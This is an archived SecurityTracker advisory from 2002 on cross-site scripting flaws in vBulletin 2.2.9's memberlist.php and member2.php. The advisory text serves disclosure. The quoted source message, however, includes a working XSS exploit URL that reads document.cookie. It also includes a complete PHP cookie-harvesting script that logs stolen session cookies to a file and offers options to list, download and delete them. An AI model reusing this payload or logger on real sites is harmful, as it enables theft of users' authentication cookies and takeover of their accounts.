SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Forum/Board/Portal)  >  vBulletin Vendors:  Jelsoft Enterprises
vBulletin Input Validation Flaws in 'memberlist' and 'member2' Allow Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1005685
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 23 2002
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 2.2.9 and prior versions
Description:  Two input validation vulnerabilities were reported in the vBulletin forum software in the 'memberlist.php' and 'member2.php' scripts. A remote user can conduct cross-site scripting attacks against vBulletin users.

A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the vBulletin and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=">"<Scr*ipt>javascript:alert(document.cookie)</Scr *ipt>

In a separate message, it was reported by Sp.IC that another flaw resides in the 'member2.php' script in the 'perpage' variable. A demonstration exploit URL is provided:

member2.php?s=[Session]&action=viewsubscription&perpage=[Script Code]

Some demonstration exploit PHP code is provided in the Source Message.

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running vBulletin, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.vbulletin.com/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Arab VieruZ <arabviersus@hotmail.com>
Message History:   None.


 Source Message Contents

Date:  21 Nov 2002 20:34:03 -0000
From:  Arab VieruZ <arabviersus@hotmail.com>
Subject:  XSS bug in vBulletin

 



Vulnerable systems:
 * Jelsoft vBulletin 2.2.9 and prior

Exploit:

http://www.vbulletin.com/forum/memberlist.php?
s=23c37cf1af5d2ad05f49361b0407ad9e&what=">"<Scr*ipt>javascript:alert
(document.cookie)</Scr*ipt>

you can use this code (thanx for SP.IC):

<?PHP
      // vBulletin XSS Injection Vulnerability: Exploit
      // ---
      // Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
      // Descrption: Fetching vBulletin's cookies and storing it into a 
log file.

      // Variables:

      $LogFile = "Cookies.Log";

      // Functions:
      /*
      If ($HTTP_GET_VARS['Action'] = "Log") {
          $Header = "<!--";
          $Footer = "--->";
      }
      Else {

           $Header = "";
           $Footer = "";
      }
      Print ($Header);
      */
      Print ("<Title>vBulletin XSS Injection Vulnerability: 
Exploit</Title>");
      Print ("<Pre>");
      Print ("<Center>");
      Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
      Print ("Coded By: <B><A 
Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">"
); /* Print ($Footer); */ Switch ($HTTP_GET_VARS['Action']) { Case "Log": $Data = $HTTP_GET_VARS['Cookie']; $Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D, StrLen (DecHex (MD5 (NULL)))))); $Log = FOpen ($LogFile, "a+"); FWrite ($Log, Trim ($Data) . "\n"); FClose ($Log); Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"0; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">"); Break; Case "List": If (!File_Exists ($LogFile) || !In_Array ($Records)) { Print ("<Br><Br><B>There are No Records</B></Center></Pre>"); Exit (); } Else { Print ("</Center></Pre>"); $Records = Array_UniQue (File ($LogFile)); Print ("<Pre>"); Print ("<B>.:: Statics</B>\n"); Print ("\n"); Print ("o Logged Records : <B>" . Count (File ($LogFile)) . "</B>\n"); Print ("o Listed Records : <B>" . Count ($Records) . " </B>[Not Counting Duplicates]\n"); Print ("\n"); Print ("<B>.:: Options</B>\n"); Print ("\n"); If (Count (File ($LogFile)) > 0) { $Link['Download'] = "[<A Href=\"" . $LogFile . "\">Download</A>]"; } Else{ $Link['Download'] = "[No Records in Log]"; } Print ("o Download Log : " . $Link ['Download'] . "\n"); Print ("o Clear Records : [<A Href=\"" . $SCRIPT_PATH. "?Action=Delete\">Y</A>]\n"); Print ("\n"); Print ("<B>.:: Records</B>\n"); Print ("\n"); While (List ($Line[0], $Line[1]) = Each ($Records)) { Print ("<B>" . $Line[0] . ": </B>" . $Line[1
]); } } Print ("</Pre>"); Break; Case "Delete": @UnLink ($LogFile); Print ("<Br><Br><B>Deleted Succsesfuly</B></Center><
/Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>"
); Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"3; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">"); Break; } ?> ----------------- Arab VieruZ thanX


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC